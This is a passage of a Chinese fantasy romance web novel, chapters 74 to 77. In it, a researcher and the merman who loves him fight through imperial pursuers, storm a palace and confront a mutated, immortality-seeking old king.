晏越说:“什么时候开始的?” 赫瑞斯这才注意到晏越不是空手而来的,他手里提着一个医药箱,是有备而来。 赫瑞斯知道瞒他已经没有意义了,只能告诉他。 “你走后。” 金发男人低垂眼眸,看着他熟练的为自己注射药剂。 灯光打在他柔软的黑色发顶上,在他长长的睫毛下打下一片阴翳。 赫瑞斯没有告诉晏越,在晏越走后,自己跟企图追杀晏越的人鱼打的不可开交。 为了保护晏越,赫瑞斯几乎用尽了所有的力气,屠灭了大半个岛屿的守卫人鱼。 现在,他已经跟人鱼一族决裂了。 在海洋中,彻底成为孤孤单单的一只人鱼。 但他并不后悔。 他懂得太晚了,得到的也太晚了。 就是因为这么晚,才不能容许有一分一毫被毁的可能。 晏越说:“你融合了污染的力量,不该变成这样。” 青年抬起头,说出的话直击人心。 “是因为我?” 赫瑞斯不得不承认,晏越是他见过的最聪明的人,在晏越面前他无法做到半分欺瞒。 从前他只是为了让这个青年臣服,但不知不觉这种执念就变了味。 他贪心的想要跟多,不仅只是青年看着他。 眼神、触碰、抚摸、爱意,他全都想要。 他开始低下高傲的头颅,承认自己的错误,尝试用人类的方式解他的青年,脱下这层兽心。 执念和爱意本身就是相生相成,无法完全割清。 因为感情就是这么复杂的东西,它天然追求爱人对自己的唯一。 赫瑞斯托起他的脸颊,在他的眉心落下无比轻柔又郑重的一吻。 比以往都更为怜爱。 他最后只能同意,无论晏越想做什么要做什么,他都要学会尊重。 他用宽大的手掌轻轻碰了碰青年的脸颊,说:“我自愿的。” 第74章 第 74 章 “我自愿的” 赫瑞斯一转常态, 不断摩挲晏越的眉骨眼尾。 晏越嫌他突然变的这么黏,推开凑过来的脑袋。 “你怎么混过来的,眼睛又是怎么回事?” 赫瑞斯现场为晏越演示了一遍, 如何用体内的污染控制瞳孔的颜色。 晏越瞥他身上的衣服:“这身衣服又是哪来的?” 高大的男人故意顿了一下,没说话。 晏越抚着额角阻止他继续说下去:“行了我知道了, 去把这身衣服换下来。” 待晏越将他身上的伤处好后, 拿来了一套干净的衣服。 赫瑞斯盯着那身衣服一时没动,直到被催才有些嫌弃地捏起裤子,不情愿地说:“不想穿这个。” 收拾药剂的晏越头都没抬一下, “你会吓到他们两个。” 那两个说的是基恩和基特两人。 赫瑞斯不耐烦地“啧”了一声,但还是老老实实换上了衣服。 “你的伤最好不要碰水,这段时间老实在船上呆着,等伤好了再走。” 晏越背对着赫瑞斯收拾起那些瓶瓶罐罐, 只听到身后的脚步声逐渐靠近,然后一个下巴就搁在了头顶。 “做什么?” 头顶上的脑袋沉甸甸的, 晏越想要甩开却没甩的开。 赫瑞斯小声说:“我就留在你身边。” 晏越顿时觉得不对劲, 狐疑地看向他:“我说过我不会跟你走的, 你留在我身边我也不会改变想法。” 赫瑞斯浅而密的睫毛轻抖,瞳色中的情绪被睫毛尽数掩盖, 让晏越一时判断不出赫瑞斯到底想干什么。 “我知道。” 晏越等了半天, 赫瑞斯就憋出来这么一句, 然后没下文了。 于是他也不再费劲, 只是告诉赫瑞斯:“你的卧室在我旁边, 有什么需要的告诉我。” 晏越临走前扫了一眼还光着上半身的赫瑞斯,拿起桌子上放着的空调遥控器,将温度调低一些。 船上的暖气开的太足了,这个温度对人类来说很舒服, 但对人鱼就不一定了。 就在他要离开时,袖子被拽住了。 赫瑞斯问他,能不能跟他住一个卧室。 以“方便换药”为由,晏越最后还是接受了。 他一直都没说过,赫瑞斯喜欢他的眼睛,他也未尝不是。 蔚蓝色的竖瞳,像是海洋的颜色。 浩瀚又深邃。 被那样一双深沉的眼睛盯着,他鬼使神差就同意了。 可能因为往后的日子,不知道能看多久了吧。 晏越走出房间没多久,又突然想到了在黑匣子上听到的事,扭头回去却发现赫瑞斯不知道什么时候倒在了床上,睡着了。 金色的长发搭在床边,像是绸缎一样散下来。 床上的赫瑞斯紧闭着眼,呼吸绵长。 人鱼这种近乎长生的种族,心脏跳动及其缓慢。 若不是晏越知道赫瑞斯还活着,光是看他在床上一动不动就要被吓一跳。 船在平稳前行着,今天的天短暂的放空了。 让人觉得久违的平和。 他不知道靠在门边看了多久,等回过神来时,腿都麻了。 等他走出门,一直在船底的烟灰蛸不知道什么时候扒拉着窗框挂在船边,触手尖敲打着玻璃。 [妈妈,开开窗呀~] 烟灰蛸挂在窗边想要爬进来,塞了半天都没成功,叹了口气,嘀嘀咕咕:[下次再也不贪吃了。] 晏越觉得有些好笑,没想到烟灰蛸也会有这种想法。 他安慰烟灰蛸:“不是你的问题,下次找个大点的船就能进来了。” 烟灰蛸的触手拍拍窗边,点头说好。 它越来越像人类了,晏越想。 或许是因为获得了人鱼血,烟灰蛸在不断进化出人类的思想。 偌大的海底,能陪赫瑞斯一起生出人类思想的也只有这条小章鱼。 在很多年后,或许也只有烟灰蛸才能保证赫瑞斯的记忆是真实的。 这其实是一个很残酷的事情。 晏越并没有去休息,而是去了工作室。 虽然暂时不需要进行研究,但他保持了十几年如一日的习惯,还是要做点什么才行。 中途基特来敲门,告诉他帝国那边的事都安排稳当了,他才放下手里的书,摁了摁胀痛的太阳穴。 思考着事情的时候,他不小心睡了过去。 这个梦解答了他未问出口的疑问。 他确实之前见过赫瑞斯,但已经是很久之前了,甚至不是在这次的生命轨迹中。 那时他也不是研究人员,而是一个地质学家,在勘探的途中跟大部队分散了,漂流到一个无人的岛屿,遇见了岛屿上休息的赫瑞斯。 像是命运的捉弄,他活着漂到了那个岛屿上,感染了一种致命的病菌,最后也死在了岛屿上。 死前他曾说很羡慕赫瑞斯拥有健壮的身躯,说如果自己也是人鱼,就不会因感染致死了。 然后他开玩笑一样,就用自己的未来跟赫瑞斯做了交换。 成为赫瑞斯的附庸,拥有比拟人鱼的寿命。 所以在他死后,赫瑞斯一直在寻找他的灵魂,最终找到了一个遭遇海难的夫妻身上。 然后,赫瑞斯种下了一颗种子,等待果实成熟那天的到来。 这是一个短暂而又清晰的梦境。 晏越醒来后有一种心脏落地的感觉。 这个答案他不是没想过,甚至已经猜到了,但当真相到来的那天,还是会让人有一种安心感。 航行第五日时,他们进入了帝国海域。 基特异常紧张,连基恩都陷入了高度紧张。 因为他们都知道,进入了帝国海域后,会遇到数不清的阻挠。 果不其然,刚进海域范围内没多久,雷达就显示他们身后跟着好几艘船。 那些人将他们包围,想要不断收拢范围,最后达到逼停他们的目的。 基特在望远镜里看到身后船舰的炮瞄准过来,低骂了一句。 “这些该死的东西,真是阴魂不散!哥,快走!” 基恩面无表情,但额角沁出的冷汗暴露了他紧张的事实:“已经最快了。” 基特看清了望远镜的东西后大骂:“他们连追踪炮都用上了!” 此时晏越恰好走进控制室,基特满头大汗让他快点躲去安全的屋子,那些人压根就是要灭口。 “轰隆隆——!” 追踪炮打在船身上,基特忍不住暴力粗口:“FUCK!这要是在上校船上,看我不轰死他们!” 即便基特操纵着反追踪炮,基恩穿梭躲过炮火,那些数不清的追踪炮弹还是不可避免的落在了他们的船上。 晏越一把拿过望远镜,看到身后的船的中间,白岩正站在甲板上。 基特说:“是他们的指挥官!” 基恩费劲地躲过一个追踪炮,“基特,不要分心!” 基特大喊:“我知道,不要催我!教授,快躲不对,那是什么?” 海面上突然闪过一道金色的影子,犹如鬼魅般游走在各个船舰中,然后利箭一样从海中射出,狠狠拍碎船身。 还没等基特反应过来,海下又冒出了几只粗壮恐怖的触手,把船生生拍翻了。 基特瞠目结舌:“上帝啊,这都是什么” 旁边的人放下了望远镜要离开,基特顾不上分辨那些究竟是什么东西,连忙拉住晏越。 “教授你要去哪?” 晏越撂下一句“去甲板”就离开了。 “啊?” 基特愣住了,在他愣神的间隙,船又遭受了攻击。 基恩:“你在干什么,不要发呆!” 匆匆瞥了一眼晏越的背影,基特一咬牙,专心操纵控制台。 晏越拉开甲板门的时候,一颗炮弹恰巧直冲他的面门而来,在即将抵达船身的时候被赫瑞斯的鱼尾凶猛地砸飞了出去。 晏越勾了一下唇角,放眼所及全是船舰,看来白岩是在这里等候多时了。 即便有赫瑞斯和烟灰蛸的帮忙,也只是拖延时间而已。 眼见着白岩所在的船更近了,晏越站在船边冲着那边喊:“白岩!你还记得那条银尾人鱼吗?” 果然,白岩抬起眼看了他。 其实晏越自己也不知道说这些究竟有用没有,毕竟白岩已经切除了前额叶,那些事情对于白岩来说跟上辈子无异。 但这是唯一的机会。 一枚追踪导再次擦着他的脑袋飞过去,击中了桅杆。 海中的赫瑞斯同他心有灵犀,听到后瞬间向着远方高鸣。 飞鸥环绕不下,白岩身旁的人说:“小心那只人鱼,它们的声波可以攻击人!” 白岩看着海中的金尾人鱼,微拧着的眉却一直没松。 因为那不是攻击性的声波,这只人鱼应该是在召集同类。 半晌,白岩面无表情地说:“把那只人鱼狙灭,然后再去抓晏越,除了晏越一个人留活口,其他都不必要。” “是!” 白岩说:“哦对,我说的活口只是保证他不要脑死亡。” 那人吞了吞嗓子,甚至不敢直视面前这个年轻人的面容,声音微弱下来。 “是。” 晏越知道这些不起作用,反身便往船里跑,在联络器中告诉基特:“他们想要登船!” 白岩站在甲板上,等船体靠的越来越近,揣起一把枪径直跳下,恰好落入前往登船的船上,带着士兵登上了晏越所在的那艘船。 “动作利落点。” “是!” 白岩拉开保险栓,耳边的联络器滴滴响:“我们遭到了人鱼的攻击!” 白岩有些不耐地回:“那就把人鱼杀了,一只人鱼就能让你们这么费劲?” 那边大喊:“不!不止一只,还有一只!” “靠!我们的人受伤了!” 白岩低骂了一句这群没用的东西,回过头却见到一抹银色划过碧蓝的天空,最后稳稳坠落在甲板上。 弗洛狄不知道什么时候冲破了包围,精准地找到了这艘船。 它的颈上干干净净,但眼底却是万般杂糅的情绪。 “我终于找到你了。” 第75章 第 75 章 遗忘 “戒备!” 黑洞洞的枪口直逼弗洛狄, 士兵扣下扳手的同时自己的脑袋却被打穿了。 白岩震惊地看着自己不受控制的手。 他自己都没反应过来,本能地踢翻了要对着弗洛狄开枪的士兵手中的枪。 剩下的几个人眼睁睁看着白岩反水,惊恐无比, 本直指弗洛狄的枪也纷纷指向了白岩。 “白岩学者,我劝你冷静!” “紧急汇报, 白岩疑似组内间谍, 蓄意谋害!” 白岩喃喃说:“不是” 但不容他解释,那些士兵便发了疯一样大叫:“申请击毙!” “那只人鱼在攻击我们!” 弗洛狄一爪拍碎了靠近的士兵的肋骨,拽着白岩的衣领便要往海里坠。 “等等!” 白岩反手握住弗洛狄的手臂, 腿别在栏杆上防止弗洛狄将他带下去。 比弗洛狄更先到的是无差别的扫射,还好他躲得快,不然腿就保不住了。 白岩直接打了回去。 弗洛狄顺势将他拽下去,但没想到白岩一把抓住了粗麻绳, 竟直接承受了自己本身的重量和一只成年雄性人鱼的重量。 弗洛狄甚至能听到人类骨骼错位的声音,但白岩连一个痛苦的表情都没有, 这让弗洛狄感觉很违和。 以前擦破点皮就要休息半天的人, 现在连脱臼都眼都不眨一下了? 白岩毕竟以人类的身躯, 很难在这种重量下撑太久,于是把绳子挽了一圈, 捆在自己的胳膊上。 弗洛狄震惊于他居然在认真的想要往上爬。 此时船头探出几个黑漆漆的洞口, 向他们开始扫荡, 注定要把他俩一起击毙。 弗洛狄眼神凌厉, 暴起将绳子直接割断, 带着白岩噗通坠入海里。 看白岩即便落水还不放弃,弗洛狄死死抓住他的胳膊,眼神凌厉。 “即使你的同类,这么对你, 你也要坚持?” 白岩突然就被问住了。 那如果不为了这个,他又是为了什么? 晏越将这里的情报快速传送给莫里,莫里的回应很快。 “再撑二十分钟,很快会有支援!” 基特的汗流入眼里都不敢眨一下。 他不敢想象如果没有那个金尾人鱼和恐怖的触手怪物,他们能撑多久。 可能几分钟不到就被打成筛子了。 基特苦中作乐,还有时间跟晏越开玩笑:“教授,说真的,我很佩服你。” 晏越挑眉问他此话怎讲。 基特呲着牙,“我就是觉得你跟波塞冬一样,忽然就能召唤出来某些海洋生物来帮你,然后又因为太厉害,像是游戏里的主角,总被反派针对。” 晏越被基特这种说法逗笑了,局促紧张的气氛不知觉就被化解了。 但全神贯注操控船的基恩就没这么走运了,他一点神都不敢分。 等援助到来时,基恩基特的压力明显比开始小了很多。 “碰!” 基特像个惊弓之鸟,看到船的玻璃被砸碎,立马就要拿枪。 在看到是什么东西进来后,基特瞪大了眼睛,“老天,这不是那个守卫人吗?” 高大的男人站在碎了一地的玻璃间,撩开散在额前碍眼的长发。 赤裸着的精壮上半身满是伤痕,但却带着独特的韵味,似荣耀的证明。 目光落在他结实的腹肌上会惊讶地发现,入眼的先是覆盖延伸到人鱼线周围的鳞片,然后是一条金色的鱼尾。 没有人类的腿。 随着赫瑞斯逐渐蛇行到晏越身边,替他盖上了一件随手拿来的外袍后,基特的眼彻底要瞪出来了。 最后还是基恩抽空踹了他一脚,基特才慌乱地低下头装做看不见。 太刺激了,原来基地的守卫人是人鱼。 还是教授养的人鱼。 “我把弗洛狄叫来了。” 晏越听到赫瑞斯的话后,抬起头便看到赫瑞斯直勾勾地看着自己,像是做了什么事在等待夸奖一样。 他觉得自己变得越来越奇怪了,居然能平静地点点头,然后说:“嗯,不错。” 缓慢甩动的金色尾鳍证明赫瑞斯的心情很好。 晏越又说:“但弗洛狄如果把白岩带走怎么办,我需要拿白岩去谈判。” 金色的尾鳍重重砸了一下地板,赫瑞斯“啧”了一声,灵活地蹿了出去。 没过了一会儿,赫瑞斯便提着弗洛狄回来了。 弗洛狄看起来心情不好,整只人鱼像炸了毛。 [不可能!] [我好不容易找到他,不可能就这么交给你!] [你有了自己的人类,为什么还要带走我的?!] 晏越看弗洛狄那个样子活像应激。 他抄起旁边的椅子想都没多想丢过去,正好挡住了弗洛狄砸向赫瑞斯的鱼尾。 在椅子抛出去的同时,赫瑞斯的尾鳍也砸上了弗洛狄的脑袋。 弗洛狄被左右夹击,急的耳鳍都炸起来了。 [你们别太欺负人了!] 晏越淡淡道:“我只是想问他一点事。” 弗洛狄扭头冲着晏越发出尖锐声波,刚开了个头就被赫瑞斯一拳砸中了下巴,恰好咬到了舌头,痛的弗洛狄差点流出眼泪。 “胡说,你们人类,出尔反尔,嘴上说的好听不会带走他,上次那个人,也是这么说的!” “我在海里,找了,这么久!我以为他死了!” 弗洛狄说这话的时候本来就有点口齿不清,又因为情绪激动,几乎是人类的语言夹杂着人鱼的语言说出来的。 好在晏越能听明白。 青年掀开眼皮,扫了一眼情绪激动到呈一种狂暴状态的弗洛狄。 他把一叠资料丢到弗洛狄面前的地板上:“但我不会让他身上少任何一个零件。” 弗洛狄看不懂那叠资料写的什么意思,但上面触目惊心的红色字体本能的让他开始恐慌。 直觉告诉他,能从这个资料里找到白岩变化的原因。 “这是什么?” 晏越告诉他:“当初他为了放走你,主动选择接受处罚,他们切除了他前额叶,一个掌管情绪和感情的器官。” “失去这个器官并不会让他忘记你的存在,但会忘记你本身。” “简而言之,他会逐渐不在意你。” “到了那个时候,才是真正的遗忘。” 弗洛狄一直被赫瑞斯压着动弹不得,本身是在剧烈挣扎的,但听到晏越说的话后,因为震惊连挣扎都忘记了。 弗洛狄说:“不可能,在船上的时候他甚至杀了要攻击我的人类!如果他不在意我,为什么要救我!” 晏越站在他面前,平静地说:“因为那是本能。” 忘记是迫不得已,但救你是我的本能。 轻飘飘的一句话像平地一声雷,炸的弗洛狄久久缓不过来。 视线中炸起来的银色耳鳍,逐渐逐渐松了下来,晏越适时半蹲下来直视弗洛狄,开始诱导弗洛狄同意。 “所以我要知道,他们把他带走的时候,都说了什么。” 弗洛狄没说话,晏越最后拿出压轴筹码。 “让我查出来是谁做的,那些人交给你处置。” 弗洛狄猛地抬头,看过来的眼神便让他知道这是同意了。 “真的?那是你的同类。” 出乎弗洛狄的预料,晏越勾起唇角。 “不是所有人都配称得上‘同类’两字,他们没有我怜悯的资格。” 弗洛狄的眼神逐渐变得阴狠,他沉下声音,“你说的。” 然后他猛地打开赫瑞斯的手,头也不回离开。 待弗洛狄走后,冰凉的蹼爪突然盖住了他的眼眶,带着一股奇特的异香。 晏越一把没拉开蹼爪,“怎么了?” 赫瑞斯从他蹲下来跟弗洛狄说话的时候就有点不开心了,鱼尾更是不知道什么时候攀上了他的小腿,占有欲十足。 不出几分钟,弗洛狄带着白岩回来了。 白岩浑身湿透,紧皱着眉。 “我没义务告诉你。” 晏越抱臂而立,简单地告诉他:“那你旁边这条人鱼过不了多久就会被他们重新抓回帝国肢解,你藏不住的。” 白岩的眉皱的更深了。 弗洛狄在他身边虎视眈眈,看向赫瑞斯的眼神尤为警惕。 毕竟弗洛狄打不过赫瑞斯,如果赫瑞斯硬来,白岩可能真的会被带走。 最后,白岩拉起地上的凳子坐下,捏着酸涩的鼻梁。 “他们带走我的时候没说什么,但后面我知道北野圭一直私下里准备一种仪式,他想要跟国王一起寻求永生,弗洛狄本来是他的目标,后来我把弗洛狄放走了,他就把目标放在你的人鱼身上。” 晏越问:“这件事还有谁知道?” 白岩说:“我出来的时候就没瞒住,出来才知道北野圭被斩杀在教堂门口,因为组里不少人打着跟北野圭一样的心思,这件事被国王知道后,他们选择放弃这部分人平息老国王的怒火。” 听到这里,晏越大体知道现在的帝国是有多乱了。 他失踪了太久,老国王快控制不住污染,拿不到药自然着急,没想到身边的人还想要惦记着分一杯羹,一怒之下直接都杀了。 “你要回去的话做好准备”白岩说到这里,抿了一下唇,因为嘴角那里有一个很明显的破口伤疤,说话的时候扯到了这个伤口。 “现在不少人还以为你死了,我不知道他们在做什么,可能想要同归于尽。” 兔子逼急了都会咬人,何况是人。 晏越说:“我知道了,但我要去王宫,有些地方需要你这张脸作为通行证。” 还没等白岩说话,弗洛狄不满意了。 “你说过不会带走他。” 晏越又说:“对,我没说一定要带走他,我只是借用他这张脸,如果你不介意我把他的脸撕下来当面具的话。” 弗洛狄噎住,气的不行,大喊“骗子!” 白岩也说不清楚自己为什么要帮晏越。 他好像一直都是为了一个念头继续活下去,北野圭说要他去抓晏越,他就同意了。 也没什么由,只要有一个念头的灌输就可以。 现在北野圭死了,那个在他身边不断压迫他的人消失了,他反而有些茫然。 “我跟你一起去,但王宫我进不去。” 晏越点头:“这就够了。” 弗洛狄一把抓过白岩的衣领,白岩费劲地站起来被它扯着走。 临走前,弗洛狄还恶狠狠地看赫瑞斯,警告道:[别想带走他。] 第76章 第 76 章 矢志不渝 白岩这张脸还是比较有用的, 他们几个人很轻松的就进入了第三区域。 晏越经过关卡后下意识抬起头,发现月亮高挂。 基特说:“现在是中午11点,天怎么是黑的?” 帝国的穹顶并不是真正的天空, 而是机械壁,所有的日升月落都是人工的产物。 为了防止污染的入侵, 帝国花费了几代人的心血才打造了这个号称永不坠落的机械壁。 这么多年以来机械壁从未出现过问题, 久而久之,人们都忘记了自己其实生活在机械下。 这是机械壁第一次出现这种问题。 沿途走过来,晏越已经不止一次看到民间架设的祭坛了, 几乎隔着几千米便有一处。 前来祈祷的年轻人更是不少。 因为他们从出生起就生活在巨大的机械壁下,并不知晓真相。 所以机械壁出了问题后,他们第一反应是灾祸降世,需要诚恳地祈求神明的原谅。 基特垮着脸, 说他们愚昧无知。 基恩告诉他:“如果你没见过真正的太阳,你也会以为头顶的才是太阳。” 白岩还是那副面无表情的模样, 刚将工作证收回去便看到一个急忙走来的工作人员。 工作人员指着白岩, 冲着两个检查的人摆了摆手, 示意把人扣下。 戴着帽子的弗洛狄只能看到白岩的手动了一下,然后便是消音枪的声音。 两个检查人员以及那个赶来的工作人员甚至都没来得及说话, 就咽气了。 “走!” 白岩动作干脆利落, 警报在几个人身后响起。 “该死的, 我们身后起码有十个人在追!” 基特一边跑, 一边向身后开枪。 好在此时亚当斯家族的人抵达现场, 为他们清扫身后的追兵。 白岩说:“如果这里的人手都这么多,核心区域只会更多,你们最好做最坏的打算。” 赫瑞斯的手摁在晏越头顶,将他的脑袋压低几分, 恰好躲过飞来的子弹。 基特听到这话,以为白岩要反悔,“什么意思,你不跟我们一起?” 白岩反手将偷袭过来的人击毙,不回基特的话。 晏越问:“你能到哪里?” “王宫外,里面你们自己进。” 晏越说:“行,我知道了。” 几个人飞快穿梭在小巷中,赫瑞斯半揽着晏越在最前面开路,后面是紧跟着弗洛狄和白岩。 可人鱼的速度哪里是人类能比的。 白岩是因为感受不到疼痛,但断后的基恩和基特明显开始跟不上了。 临到巷口,白岩猛地停下脚步,巷口外便是王宫的方向。 “就到这里。” 晏越知道白岩能跟他们一起走到这里,也带着自己的利益索求,于是他答应白岩,弗洛狄不会被抓去做研究。 白岩皮笑肉不笑,“还轮不到他,就算抓也是你的人鱼先倒霉。” 这是事实,如果国王祈求永生一事不得到解决,那么只要帝国存在一天,那些人便会无止境的寻找赫瑞斯。 更何况,晏越已经感觉到自己的身体即将走到尽头了,他无法保证可以一直保护赫瑞斯。 基恩和基特不断击毙偷袭过来的人。 他们决定留在巷口,防止这些人跟上晏越。 在晏越准备离开时,白岩突然叫住了他,“晏越。” 白岩双手插兜,看向穹顶机械壁。 “机械壁快坍塌了。” 晏越一愣,跟着白岩的目光看向去。 偌大的机械壁上有一个极不起眼的缝隙,因为缝隙靠近王宫附近,所以暂时没被人发现。 基特大喊:“教授,快点进去,我们撑不了多久的!” 晏越握紧手里的冷冻箱,对白岩说:“机械壁坍塌,所有人都跑不出去,你们离开这里或许还有活路。” 此时的弗洛狄拉下帽子,站在白岩身侧,告诉赫瑞斯:“我会带他离开,如果你还能有命活着回去的话,我会让我的族群为你们留一个位置。” 赫瑞斯抿起唇,眼睛一直放在晏越身上,显然弗洛狄说的对他来说没有什么诱惑力。 “我只要在他身边就够了。” 几个人在巷口分别后,晏越和赫瑞斯没费太大力就闯入了王宫,这里的守卫比他们想象的要薄弱。 自从进入了第三区域,他便失去了跟莫里那边的联系。 好在他以前来过一次这里,凭借着超群的记忆力,找到了通往大殿的路。 就在即将推开金碧辉煌的走廊门时,晏越腰上一紧,被有力的手臂紧紧抱着,飞快躲到了一个障碍物后。 待看清,他才发现门后是黑洞洞的一排枪。 原来老国王早就防备着了。 可如果要抵达大殿,这里是必经之路。 但那一排枪,别说人,连苍蝇都进不去。 晏越突然发觉,不知道什么时候已经感觉不到右手的存在了。 他心下一惊,发现右手仍在死死握着冷冻箱的把手,只是他已经无法控制右手做出任何动作了。 他唯一的想法不是手废了,而是还好箱子还在。 “晏越。” 赫瑞斯突然叫他。 晏越紧皱着眉,“别说话,让我想想。” 他的后脑勺抵在墙壁上,在脑海中飞快搜寻解决办法。 还有没有别的路,怎么才能穿过去。 世界突然安静到只剩他急促的心跳声和呼吸声,然后一个平缓的心跳声以一种不可抗拒的姿态陡然入侵,逐渐感染他。 无数次抚上肌肤的蹼爪贴在他的侧颈,轻轻摁着他的脑袋,扣在了胸膛上。 “咚。咚。” 赫瑞斯的心跳像沉重的鼓点,一下又一下。 晏越就这么静静地听着。 心底不断被撞击,有些坚硬的东西在缓慢的一寸寸融化。 他曾厌恶过甚至有憎恨过这只人鱼,时时刻刻无法容忍继续呆在赫瑞斯的身边。 他认为他们是不一样的。 但好笑的是,最后他才发现其实他们并没有什么不同。 兜兜转转,所有人都离开了,剩下的只有赫瑞斯仍不离不弃。 他们灵魂相通,言语反而是最无力的传递工具,就连心跳声都能证明一切。 高傲不可一世的人鱼臣服于自己的人类配偶,双手呈上自己对爱人的忠诚。 赫瑞斯愿意穿上人类的皮囊,学习人类的模样,只为多靠近自己一点。 直到如今,他仍认为赫瑞斯是残暴嗜血的,但他无法否认赫瑞斯的爱是虚伪的。 明明这份爱与所有人类相比都不遑多让。 长腿不知道什么时候化成了金色的鱼尾,卷在他的腿上。 不带任何其他的感情,只是最原始本能的想要靠近、再近一点。 他突然笑了,但其实笑的比哭还难看。 手指摸上金色鱼尾上坚硬的鳞片,他竟没发现原来赫瑞斯的一个鳞片几乎有半个手掌那么大,这让他很遗憾,从前居然没有仔细看过一次。 只可惜命运万般不由人。 赫瑞斯轻轻地说:“你该进去了。” 晏越深呼吸一口,调整好情绪。 赫瑞斯抱起他,粗壮的鱼尾支撑起来,他下意识搂住了赫瑞斯的脖子,定定地看着赫瑞斯说:“活着出去。” 金尾人鱼缓慢地眨动眼睛,蔚蓝色的瞳孔几乎要将人溺毙在里面。 “我们都会的。” 门后的枪炮在瞄准到目标后疯狂开始扫射。 赫瑞斯紧紧抱着晏越,像丛林中灵活的巨蟒穿梭在走廊的墙壁之间。 他们经过的地方全是触目惊心的弹孔。 如果赫瑞斯再慢一些,那些弹孔就该出现在他们两个的身上了。 赫瑞斯甚至抽出一只蹼爪摁在他的头上,让他避免被弹壳误伤,将晏越保护的严严实实。 虽然头被摁在胸膛里,但晏越还是不可避免地看到视线中一些蓝色的痕迹。 赫瑞斯肯定是受伤了。 他急忙想要起身,又被蹼爪牢牢摁回去。 “不要管我,我没事。” 晏越紧咬着牙,哪里是没事,赫瑞斯已经失去了从前一半的力量,连愈合能力都大大降低。 但他现在能做的只有保持这个姿势不乱动,才能不给赫瑞斯添乱。 扫射来的子弹越来越少了,他们安全穿过了走廊。 晏越看到赫瑞斯那惨不忍睹的金色鱼尾,一时沉默无语。 赫瑞斯轻轻亲了亲晏越的额心,说:“没关系。” 声音还是那样的缱绻低沉。 为爱人付出的伤疤不是伤疤,是荣耀也是矢志不渝的证明。 晏越看着面前最后一扇门,用还有知觉的左手推开。 下一刻,门后一个巨大的影子以迅雷之势袭来,身后的蹼爪用尽全力将他推开。 那是一只巨大的融合污染物,浑身上下不断滴落着腐蚀性液体,就连张开的嘴巴都不知道究竟是什么生物的嘴。 赫瑞斯再次推开了他,像是在南极峡谷那样。 只是这次他没有呆在那里等晏越救,而是用粗壮有力的鱼尾狠狠砸穿地面,拽着融合污染物一起坠入了深不见底的洞里。 “赫瑞斯!” 晏越伸出手想要抓住他的蹼爪。 蹼指轻轻勾在他的指尖,然后擦过。 很短的时间,只是一秒,他获得了又失去了。 最后,他的脑海里只记得那双深邃的瞳孔,以及一声: “去做你该做的。” 他没有任何时间浪费,转身就跑,没命地跑,好像跑慢一点所有人做出的牺牲都白白浪费了。 他跑到肺部像炸了一样剧痛无比,跑到口腔里全是鲜血,跑到只要一停下就会昏厥。 骨节分明的手从口袋里拿出最后的肾上腺素,也不管过量不过量了,狠狠扎在侧颈上,用力地全部推进去。 他一脚踹开殿门,发现老国王坐在最上面的王座,早就等候多时了。 青年赤红着双眼,浑身上下是血,活像是地狱来的恶鬼。 相反,在上面的老国王看起来很惬意,腿上盖着昂贵的毛毯。 他说:“这一天终于来了。” 青年笑了一下,笑意不达眼底,一字一句道:“是啊,也该算算账了。” 第77章 第 77 章 别乱动 晏越曾在幼时同父母一起入宫, 记忆里的老国王就是这副模样。 垂垂老矣,满脸皱纹,又总是面带微笑。 二十年过去了, 他成年了,但老国王还是那样, 跟记忆中并无丝毫差别。 老国王看到他右手提着的那个冷冻箱, 混沌的眼珠闪过一丝惊喜。 “哦?孩子,你最终还是做到了你父母做不到的事,你比他们更聪明。” 一只犹如枯骨般苍老的手伸向了他, “孩子,拿来,给我。” 晏越没动,冷眼旁观。 老国王抛出自以为诱人的条件:“只要你给我那个东西, 我会给你贵族的身份,给你整座帝国研究院, 让你一跃成为这座城里高贵的学者。” 但晏越仍不为所动, 老国王略略收起眼中灼热的视线, 弯下眼睛,语气也变了。 “年轻人, 你想要什么, 都可以跟我提。” 晏越这才终于开口, 只是他并没有提要求, 而是问老国王, 当年他父母的意外死亡到底是怎么回事。 老国王说:“知道那么多又有什么意义呢?” 老国王握着手里的高档毛毯,半晌嗬嗬地笑出了声。 “孩子,你知道我活了多久吗?” 然后又自问自答:“一百四十六岁零五天。” “是不是觉得很长?”老国王说完又摇头,“但我觉得太短了, 我建立了这个国度,它就像是我的孩子一样。 “我看着我的孩子日复一日、年复一年的强大起来,很欣慰。” “明明这个国度已经是最强大的,但我觉得还是不够,但我有信心并且有能力会让这里变得更好,可就在我要继续努力让这个国度变得更好的时候,我却已经老的走不动路了,甚至只能将我毕生的心血拱手让人。” “可是凭什么,他们可以轻而易举的获得我所付出的一切?” 老国王那耷拉的眼皮下,是浑浊又阴冷的眼珠,正在以一种不正常的速度转动着。 “你说,这公平吗?” 他坐在高高的王位上,头发花白,身上穿着昂贵的金丝镶边布料,住的宫殿极尽奢华。 而他下面的亚裔青年,一身简单的风衣,还沾满了硝烟和血液的味道。 晏越知道国王想要打感情牌,毕竟他要的东西还在自己手上。 “公不公平不是你说了算的,也不是我说了算的,我只知道为了一己私欲拿一个国家甚至种族的命运当做借口和垫脚石,那不叫公平。” 晏越缓慢地吐出这几个字,“那叫畜生。” 老国王许多年没见过胆敢在自己面前如此狂妄的人了,听到晏越骂自己后第一反应不是生气,而是哈哈大笑。 苍老的笑声断断续续地环绕在巨大的王宫大殿中。 因为这具身子的所有器官都失去了应有的功能,所以笑声格外阴森诡异。 等到笑够了,老国王终于不装了,他很干脆地告诉晏越: “既然你这么想知道,那我就告诉你,你的父母竟敢妄图违背我的命令,所以我让人在你父母的船上做了手脚,本来想着让他们死在抵达基地前的,谁知道那里居然突然爆发了污染光线。” 老国王冷笑:“他们违背了我的意愿,就是违背了天意,天意让他们死在那里。” 晏越从兜里掏出枪,举向王位的方向。 “放屁,就算没有意外,你也不会让他们活着回来,从我进这里开始你就不停地拿别人找借口,是良心不安到只能用假象欺骗自己了吗?” 被拿枪指着老国王也没有丝毫恐惧,他笑地眯起眼睛,“哦,孩子,那对我来说没有任何作用。” 一直盖在腿上的毛毯被掀开了,老国王的下半个躯体已经融为了一体,呈现出一种类似于触手又类似于尾巴的形状,并且是诡异的暗绿色。 当毛毯被掀开的瞬间,浓重的酸臭味开始弥散。 本来连走路都困难的老国王突然从王位上跳了下来,像蜘蛛一样匍匐在地上,用手臂和那个不知道称作什么的器官猛地冲向晏越,沿途留下了一道黑绿色的痕迹。 晏越连开几枪,不断后退。 老国王的眼珠掉到了地上,被黑绿色的液体腐蚀。 